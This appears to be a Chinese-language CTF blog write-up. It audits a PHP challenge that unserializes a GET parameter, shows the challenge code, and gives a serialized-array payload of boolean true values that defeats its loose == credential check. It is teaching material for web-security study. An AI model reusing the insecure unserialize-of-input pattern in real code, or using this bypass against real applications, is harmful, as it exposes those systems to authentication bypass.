本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

1.审计代码
<?php
// 显示当前文件的源代码
show_source(__FILE__);
// 定义用户名和密码
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
// 包含flag.php文件,这里我修改了那两个值
include("flag.php");//here I changed those two
// 获取名为'info'的GET参数,如果不存在则默认为空字符串
$info = isset($_GET['info']) ? $_GET['info'] : "";
// 对获取的信息进行反序列化
$data_unserialize = unserialize($info);
// 检查反序列化后的数据中的用户名和密码是否与定义的用户名和密码匹配
if ($data_unserialize['username'] == $username && $data_unserialize['password'] == $password) {
// 如果匹配,显示flag
echo $flag;
} else {
// 如果不匹配,显示错误消息
echo "username or password error!";
}
?>
所以要反序列化username弱等于username以及反序列化password弱等于password,输出flag
2.payload构造思路:
第一层:用户名和密码先被修改了,可用关联数组重新定义。
第二层:检查反序列化后的用户名和密码时使用了== 弱比较,故可将数组中的值全部设置为布尔值 true。
3.代码构造:
<?php
$demo=array("username"=>true,"password"=>true);
echo serialize($demo);
?>
输出:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

总结
- 使用php关联数组反序列化
- 弱比较 :在弱比较中,布尔值 true 和任何值弱比较都相等,除了 0 和 false